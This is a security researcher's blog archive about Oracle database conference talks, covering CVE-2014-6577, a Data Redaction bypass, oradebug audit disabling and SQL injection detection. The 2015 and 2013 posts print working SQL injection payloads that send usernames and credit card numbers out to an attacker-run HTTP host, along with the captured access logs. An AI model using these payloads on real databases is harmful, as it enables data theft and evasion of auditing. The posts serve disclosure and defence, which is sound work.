Archive for the ‘Oracle Security’ Category

DOAG 2015: Best of Oracle Security 2015

Donnerstag, November 19th, 2015

Yesterday I gave my yearly presentation “Best of Oracle Security 2015” at the DOAG 2015 conference in Nürnberg. In this presentation I showed different Oracle exploits I found/modified released in 2015 in various sources.

One of the most interesting Oracle bugs in 2015 was CVE-2014-6577 (found by Trustwave, affecting 11.2.0.3, 11.2.0.4, 12.1.0.1, 12.1.02, fixed in April 2015 CPU). This bug can be used as helper function in Out-of-band-SQL Injection attacks. Since Oracle 11g the way via utl_http/httpuritype was closed using the ACLs. This exploit opens the possibility in 11g/12g again (if patches are not applied).

—— Out-of-Band SQL Injection Example —————-

http://www.oraexploit.com/id=47′ or  1=extractvalue(xmltype(‚<?xml version=“1.0″ encoding=“UTF-8″?><!DOCTYPE root [ <!ENTITY % remote SYSTEM „http://192.168.83.1:8080/A=’||substr((select sys.stragg(distinct username||‘-‚) as string from all_users),1,220)||'“> %remote; %param1;]>‘),’/l‘)

192.168.83.131 – – [18/Nov/2015 00:48:02]  „GET /A=ANONYMOUS-APEX_040200-APEX_PUBLIC_USER-APPQOSSYS-AUDSYS-C HTTP/1.0“ 404 –

—— Out-of-Band SQL Injection Example —————-

Details about a critical design flaw (using unsalted MD5 as 12c password hash) in Oracle 12c will be published in another blog entry.

Best of Oracle Security 2013

Freitag, November 22nd, 2013

I just uploaded my DOAG 2013 presentation „Best of Oracle Security 2013„.

 

This presentation shows how to bypass Oracle Data Redaction, become DBA using CREATE ANY INDEX, Hide information from Oracle Auding using VPD and more…

—————————————————

SQL> select * from scott.credit_card where 1=ordsys.ord_dicom.getmappingxpath((card_id),user,user);

ERROR at line 1:

ORA-53044: invalid tag: 1234-1234-1234-1234
ORA-06512: at „ORDSYS.ORDERROR“, line 5
ORA-06512: at „ORDSYS.ORD_DICOM_ADMIN_PRV“, line 1394
ORA-06512: at „ORDSYS.ORD_DICOM_ADMIN_PRV“, line 479
ORA-06512: at „ORDSYS.ORD_DICOM_ADMIN_PRV“, line 8232
ORA-06512: at „ORDSYS.ORD_DICOM“, line 756
ORA-06512: at line 1

 

or

 

select * from credit_card where 1=length(utl_http.request(‚http://192.168.2.102:8080/’||card_id));

==> bypassing the obfuscation because the utl_http.request is located in the where clause

 

——– output from access.log ————

192.168.2.101 – – [13/Sep/2013:15:19:20 Central Europe Daylight Time] „GET /1234-1234-1234-1234 HTTP/1.1″ 404 35 – –

192.168.2.101 – – [13/Sep/2013:15:19:20 Central Europe Daylight Time] „GET /5678-5678-5678-5678 HTTP/1.1″ 404 35 – –

——– output from access.log ————

—————————————————

 

Fix for oradebug disable auditing available (11.2.0.3/11.2.0.4/12.1.0.1)

Freitag, September 13th, 2013

2 days ago I gave a presentation „Oracle 12c from the attackers perspective“ at the DOAG SIG Security. I learned some interesting things, especially that a fix for the Oracle oradebug „disable auditing“ problem is available since 9 months.

Oradebug allows to run OS commands and to enable/disable Oracle SYSDBA and normal auditing on the fly without leaving traces in the audit log. The fix for this problem is available in Oracle 11.2.0.4/12.1.0.1 and was backported to 11.2.0.3 using the patches 15805002, 15808245, 16177780.

By default the setting is not enabled in Oracle 11.2.0.4/12.1..0.1.

The undocumented parameter  _fifteenth_spare_parameter (Oracle Description: fifteenth spare parameter – integer – Yeah, really useful)  can now disable or limit the oradebug functionality. I could not find any information about this parameter on google or my oracle support.

—— extract from the read me.txt of the patch file——————

## _fifteenth_spare_parameter can be set to „all“, „restricted“ or „none“
## „all“ disables execution of all oradebug commands, „restricted“ disables
## execution of restricted oradebug commands, „none“ (default) allows execution
## of oradebug commands.

—— extract from the read me.txt ——————

 

 

DOAG 2012: Best of Oracle Security 2012

Donnerstag, November 22nd, 2012

Yesterday I gave a presentation „Best of Oracle Security 2012“ at the DOAG 2012 conference in Nürnberg.

Best of Oracle Security

Self-Defending Databases

Freitag, November 2nd, 2012

I just uploaded my talk Hashdays 2012 „Self-Defending Databases“ to the Red-Database-Security website.  The talk explains how to detect SQL Injection attacks in databases (Oracle/MSSQL/MySQL) and how to react in case of a SQL Injection (e.g. done with Pangolin, Havij or Netsparker).

Initially the idea covered only Oracle and MSSQL but Xavier Mertens extend the concept to MySQL (MySQL Attacks Self-Detection) after he saw my presentation at the Hashdays Management Session.